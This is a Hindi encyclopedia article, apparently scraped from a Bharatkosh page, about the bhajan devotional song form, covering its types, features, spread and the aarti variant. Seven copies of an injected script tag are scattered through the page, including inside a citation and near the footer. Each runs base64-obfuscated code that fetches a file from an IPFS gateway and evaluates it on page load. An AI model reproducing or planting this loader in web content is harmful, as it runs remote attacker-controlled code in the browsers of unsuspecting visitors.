भजन  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भजन सुगम संगीत की एक शैली है। इसका आधार शास्त्रीय संगीत या लोक संगीत हो सकता है। इसे मंच पर भी प्रस्तुत किया जा सकता है, लेकिन मूल रूप से यह किसी देवी-देवता की प्रशंसा में गाया जाने वाला गीत है। स्तुति, स्तोत्र और स्तवन का लोकरूप ही भजन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भेद

भारतीय संगीत के मुख्य रूप से तीन भेद किये जाते हैं-

  1. शास्त्रीय संगीत
  2. सुगम संगीत
  3. लोक संगीत

सामान्य रूप से उपासना की सभी भारतीय पद्धतियों में भजनों का प्रयोग किया जाता है। भजन मंदिरों में भी गाए जाते हैं। इनमें शास्त्रीय संगीत की तरह बन्धन नहीं रहता। जिन गीतों में ईश्वर का गुणगान या उनसे प्रार्थना की जाती है, उन्हें भजन और जिन कविताओं को स्वर-ताल बद्ध करके गाते हैं, उन्हें गीत कहते हैं।

विशेषताएँ

राग-ताल नियमों से स्वतंत्र, आकर्षक रचनायें, भावानुकूल शब्दों द्वारा गीत रचना आदि एक अच्छे भजन की विशेषताएँ होती हैं। भजन अधिकांशत: दादरा और कहरवा ताल में होते हैं। इनमें और चित्रपट गीतों में मुख्य अन्तर यह है कि इनकी तुलना में चित्रपट गीतों की रचना बहुत चलती-फिरती और शब्द सस्ते ढंग के होते हैं।

प्रसार

उपासनापरक गीतों की संज्ञा 'भजन' है। सगुणोपासना के कारण इस विधान को अधिक प्रसार मिला। स्तोत्र ग्रंथ, धर्म सम्बन्धी पंचक, अष्टक, दशकादि रचनाएँ इस पद्धति के अंतर्गत हैं, यद्यपि ये भजन नहीं हैं। भज गोविन्दं भज गोविन्दं गोविन्दं भज मूढ़मते इस पद्धति की सर्वाधिक प्रसिद्ध रचना है। बौद्ध, जैन और तत्पश्चात् पौराणिक हिन्दू धर्म ने यह रचना-विधि अपनायी। लोक-रचना-विधि का यह धार्मिक अभियान है।[१]

छन्द विधान

भजन के लिए न तो कोई विशेष छन्द है और न ही गेयता की दृष्टि से कोई राग-विशेष। स्तोत्र-काव्य जहाँ विशेष रूप से छन्दात्मक है, वहाँ भजन गेय पदाश्रित है। प्रात: काल गाये जाने भजन को 'प्रभाती' कहते हैं। संस्कृत में भी 'प्रभात-स्तोत्र' हैं, जिनमें से श्रीहर्ष कृत 'सुप्रभातस्तोंत्र' में बुद्ध की प्रार्थना 'स्नग्धरा' वृत्त में है। यामुनाचार्य[२] ने लक्ष्मी और विष्णु की स्तुति में रचनाएँ की थीं। स्वामी रामानन्द के कारण उत्तरी भारत में भक्ति की जो धारा बही, उससे गेय पदों में भजनों की रचना को प्रोत्साहन मिला। भजन में इष्ट का रूप-कीर्तन अथवा गुण-कीर्तन होता है। अपने दैन्य और इष्टदेव की वत्सलता के वर्णन इसमें मिलेंगे।

आरती

भजन का एक विभेद 'आरती' है। 'गोरखबानी' में संग्रहीत आरती की प्रथम पंक्ति है- "नाथ निरंजन आरती गाऊँ। गुरुदयाल अग्याँ जो पाऊँ।" प्रभाती में- "जागिये ब्रजराज कुँवर पंक्षी बन बोले।" महत्त्वपूर्ण रचना है। मिथिला में शिव के उपासनापरक गीतों की संज्ञा 'नचारी' है। भजनों का विभेद 'निर्गुन' भी है, जिसमें वैराग्यमय जीवन का उत्कर्ष वर्णित रहता है। इसमें सगुणोपासनापरक गेय पद भी आते हैं। वल्लभ सम्प्रदाय ने भजन के स्थान में कीर्तन को अधिक महत्त्व दिया, जिसमें इष्टदेव के रूप-गुण-कीर्तन की ओर अधिक ध्यान रहता है। कीर्तन में सामूहिकता का अंश अधिक है और भजन में वैयक्तिक साधना का तत्त्व; यद्यपि कीर्तन वैयक्तिक भी हो सकता है और भजन सामूहिक भी।

कुछ विख्यात भजन रचनाकार


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी साहित्य कोश, भाग 1 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 447 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. अनुमानत: सन 1000 ई.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=भजन&oldid=591912" से लिया गया